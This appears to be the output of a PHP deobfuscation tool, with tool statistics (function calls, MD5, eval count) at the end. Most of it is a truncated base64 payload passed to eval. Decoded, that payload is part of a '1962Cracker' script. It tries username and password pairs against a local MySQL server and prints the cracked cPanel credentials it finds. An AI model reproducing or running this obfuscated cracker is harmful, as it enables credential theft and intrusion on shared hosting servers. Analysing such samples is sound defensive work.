9IHRyaW0oJGEyWyRpXSk7DQoJCQkJCQkJaWYoQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJHVzZXIsJHBhc3MpKQ0KCQkJCQkJCXsNCgkJCQkJCQkJCWVjaG8gIjE5NjJDcmFja2VyfiB1c2VyIGlzID09PiAoPGI+PGZvbnQgY29sb3I9Z3JlZW4+JHVzZXI8L2ZvbnQ+PC9iPikgUGFzc3dvcmQgaXMgPT0+ICg8Yj48Zm9udCBjb2xvcj1yZWQ+JHBhc3M8L2ZvbnQ+PC9iPik8YnIgLz4iOw0KCQkJCQkJCQkJJG9rKys7DQoJCQkJCQkJfQ0KCQkJCQkgfQ0KCQkJCQl9DQoJCQl9DQoJCQllY2hvICI8aHI+PGI+WW91IEZvdW5kIDxmb250IGNvbG9yPWdyZWVuPiRvazwvZm9udD4gY1BhbmVsICgxOTYyQ3JhY2tlcik8L2I+IjsNCgkJCWVjaG8gIjxjZW50ZXI+PGI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+PH4gQkFDSzwvYT4iOw0KCQkJZXhpdDsNCgl9DQoJfQ0K")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 41caf72515a935028f2482fb027e6255
Eval Count 1
Decode Time 83 ms